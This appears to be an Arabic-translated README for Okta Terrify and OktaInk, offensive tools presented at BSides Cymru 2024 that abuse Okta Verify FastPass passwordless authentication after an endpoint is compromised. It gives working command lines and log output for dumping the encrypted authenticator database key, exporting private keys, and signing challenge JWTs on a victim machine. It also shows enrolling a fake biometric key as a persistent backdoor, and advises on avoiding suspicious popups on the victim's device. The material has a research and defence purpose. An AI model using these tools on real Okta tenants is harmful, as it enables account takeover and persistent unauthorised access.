تم إصدار هذه الأدوات كجزء من حديثي في BSides Cymru 2024 بعنوان Okta Terrify: الثبات في عالم بلا كلمات مرور. تم تضمين مجموعة العرض التقديمي والفيديو التوضيحي في هذا المستودع.
Okta Terrify هي أداة لتوضيح كيف يمكن إساءة استخدام الحلول التي لا تحتوي على كلمة مرور مثل FastPass من Okta Verify أو حلول أخرى من نوع FIDO2/WebAuthn بمجرد اختراق نقطة نهاية المصادق. في حين أن Okta Terrify يوضح هجمات محددة من Okta، فإن نفس المنهجية تنطبق عادةً على الحلول الأخرى التي لا تحتوي على كلمة مرور، حيث أنها جميعها تستفيد بشكل عام من التشفير غير المتماثل.
تعمل المصادقة بدون كلمة مرور عبر أزواج المفاتيح العامة/الخاصة. عادةً، هناك نوعان من المفاتيح التي يتم إنشاؤها أثناء تسجيل المصدق، Proof Of Possession User Verification . مجتمعة، يلبي كلا المفتاحين عنصر المصادقة متعدد العوامل الذي تسعى المؤسسات إلى تحقيقه كجزء من الجهود المستمرة لحماية مستخدميها.
تم تصميم إثبات حيازة المفتاح للقيام بذلك، وإثبات وجود مصدق و/أو مستخدم محدد أثناء المصادقة. في حالة Okta، يتم استخدام إثبات حيازة المفتاح لتحديد وجود كل من المصادق والمستخدم، لأنه في سيناريوهات المستخدمين المتعددين، يتم إنشاء دليل فريد على مفاتيح الحيازة لكل مستخدم. عادةً ما يكون إثبات ملكية المفتاح مفتاحًا صامتًا، ولا يتطلب أي شكل من أشكال البيانات البيومترية لإلغاء قفل استخدامه بما يتجاوز نظام التشغيل نفسه، مثل جلسة مستخدم Windows التي تمت مصادقتها. عندما يكون هذا المفتاح متاحًا، سيتم دعمه بواسطة TPM وبالتالي لا يمكن تصديره من الجهاز. عندما لا يتوفر TPM، يتم إنشاء هذا المفتاح كمفتاح برنامج فقط.
يوفر مفتاح التحقق من المستخدم أيضًا إثباتًا للحيازة، ولكنه يتحقق بالإضافة إلى ذلك من أن المستخدم على علم بالفعل بحدوث المصادقة. ويتم تحقيق ذلك من خلال البيانات البيومترية، والتي غالبًا ما تكون بصمة الإصبع أو التعرف على الوجه، ولكنها مدعومة أيضًا برقم التعريف الشخصي. على الأجهزة التي تعمل بنظام التشغيل Windows، يتم تنفيذ ذلك عادةً باستخدام Windows Hello. لن تعمل عمليات التوقيع بدون توفير البيانات البيومترية الصحيحة. ستستخدم بعض الحلول التي لا تحتوي على كلمة مرور سوى مفتاح التحقق من المستخدم لتلبية كلا العاملين. عيب هذا النهج هو أن كل عملية توقيع ستتطلب بيانات بيومترية للمستخدمين. في حالة Okta على سبيل المثال، يمكن استخدام إثبات حيازة المفتاح كعامل مميز أثناء المصادقة إلى جانب عامل مقسم مثل كلمة مرور المستخدمين. مرة أخرى، يتم دعم هذا المفتاح بواسطة TPM عندما يكون متاحًا أو يتم إنشاؤه في البرنامج إذا لم يكن كذلك.
حسنًا، يكفي هذه المعلومات الأساسية عن كلمة المرور، فلننتقل إلى الأشياء الجيدة. على الرغم من وجود نفس المفاهيم عبر جميع أجهزة Okta Verify المدعومة، فمن الآن فصاعدًا سنناقش كيفية عمل إصدار Windows من Okta Verify.
يقوم Okta بتخزين معلومات الموثق داخل قاعدة بيانات SQLite مشفرة. هناك إصداران مختلفان لقاعدة البيانات، الإصدار القديم المخزن داخل ملف يسمى OVStore.db والذي يستخدم معرف الأمان (SID) الخاص بالمستخدمين كأساس لمفتاح التشفير الذي يتم تمريره عبر خوارزمية XOR مخصصة ومفتاح ثابت. يُسمى الإصدار الأحدث DataStore.db ويستخدم قيمة عشوائية مخزنة في مدير بيانات الاعتماد. يتم تمرير بيانات الاعتماد هذه من خلال خوارزمية XOR مشابهة للتنسيق القديم. يتم تخزين قاعدة البيانات في %LocalAppData%OktaOktaVerify . تحتوي قاعدة البيانات على معرفات المفاتيح التي تم إنشاؤها لكل من إثبات الحيازة ومفتاح التحقق من المستخدم والتي يتم إنشاؤها أثناء تسجيل الجهاز. تحتوي قاعدة البيانات أيضًا على بيانات تعريف مفيدة أخرى، مثل معرفات الجهاز والمستخدم والموثق بالإضافة إلى عنوان URL الخاص بمستأجر Okta للحسابات المسجلة.
Okta Terrify مقسمة إلى عنصرين متميزين. Okta رعب وOktaInk.
تم تصميم Okta Terrify للتشغيل على أجهزة المهاجمين. تتطلب الأداة معرف SID للمستخدمين وملف قاعدة بيانات بتنسيق قاعدة البيانات القديمة، وبالنسبة للتنسيق الأحدث، مفتاح قاعدة البيانات. بالنسبة للتنسيق الأحدث، يمكن إنشاء مفتاح قاعدة البيانات باستخدام OktaInk. يحتوي Okta Terrify على 4 أوضاع تشغيل يتم التحكم فيها من خلال مفاتيح مختلفة.
يقوم وضع --info ببساطة بتفريغ المعلومات الموجودة في قاعدة البيانات.
قاعدة البيانات القديمة
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
أحدث قاعدة بيانات
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
في وضع --backdoor ، سيقوم Okta Terrify بتشغيل عنوان URL الخاص بـ Okta للمستأجر باستخدام معرف عميل OAuth الذي يستخدمه تطبيق Okta Verify الرسمي أثناء التسجيل. سيؤدي هذا عادةً إلى تشغيل تدفق المصادقة ويكون وضع التوقيع نشطًا خلال هذه المرحلة. بمجرد إنشاء جلسة مصادق عليها، يتم إنشاء مفتاح تحقق مستخدم جديد على الجهاز المهاجم ويتم تسجيله كمفتاح بيومتري مزيف. بمجرد تسجيل المفتاح، سيعمل FastPass في حالة عدم وجود كلمة مرور دون أي تبعيات على جهاز المصادقة الأصلي المخترق.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
في وضع --sign ، أثناء مصادقة Okta، يتم توقيع التحديات إما محليًا من خلال مفاتيح تمت تصفيتها أو يمكن توكيلها إلى OktaInk الذي يعمل على أداة مصادقة مخترقة عند وجود مفاتيح مدعومة بالأجهزة.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
سيحفظ وضع --import إثبات الحيازة المحدد بالبرنامج ومفاتيح التحقق من المستخدم التي تم استخراجها باستخدام Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
تم تصميم Okta Ink للعمل على جهاز المصادقة المخترق. التطبيق يدعم 4 أنواع من العمليات.
بالنسبة لتنسيق قاعدة البيانات الأحدث، يمكن استخدام --operation DumpDBKey لتفريغ مفتاح قاعدة البيانات لملف DataStore.db . يمكن بعد ذلك استخدام المفتاح كمعلمة لـ OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
أثناء تدفق مصادقة Okta، يتم إنشاء استجابة تحدي JWT لإثبات توفر دليل التواجد أو مفتاح التحقق من المستخدم. يمكن استخدام وضع --operation SignDeviceBind لتوقيع JWT الذي تم إنشاؤه باستخدام مفتاح إثبات الحيازة، وهو صامت. إذا كنت تريد إجراء مصادقة بدون كلمة مرور، فيمكنك أيضًا التوقيع باستخدام مفتاح التحقق من المستخدم عن طريق إضافة الوسيطة -v . تحذير - عند طلب مفتاح التحقق من المستخدم، سيُطلب من المستخدم الضحية إجراء التحقق من صحة المقاييس الحيوية وبالتالي قد يثير الشكوك.
يقوم Okta Verify أيضًا بتسجيل مفتاح تصديق الجهاز، وهو مفتاح صامت. يبدو أن هذا المفتاح يُستخدم عند إجراء تغييرات على جهاز المصادقة المسجل عبر استدعاءات واجهة برمجة تطبيقات الويب ضد مستأجر Okta. ولكن يبدو أنه لا يتم فرض شهادة الجهاز بشكل افتراضي، وبالتالي فإن التوقيع غير مطلوب. بغض النظر، يمكن الاستفادة من هذا الوضع عبر وسيطات --operation SignDeviceAttestation .
بالنسبة للأجهزة التي لا تدعم TPM، يمكن استخدام سطر أوامر --operation ExportPrivate لتصدير جميع المفاتيح المسجلة على الجهاز. يرتبط إثبات ملكية المفاتيح بمفتاح DPAPI الخاص بالمستخدم وبالتالي يجب معرفة كلمة مرور المستخدم.
أثناء عملية التسجيل من الباب الخلفي، نحتاج إلى التأكد من الاحتفاظ بالمفاتيح العامة الموجودة ضمن بيانات مصدق المستأجر. --operation ExportPublic يسهل ذلك عن طريق تصدير المفتاح العام المرتبط بمعرف مفتاح محدد.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....
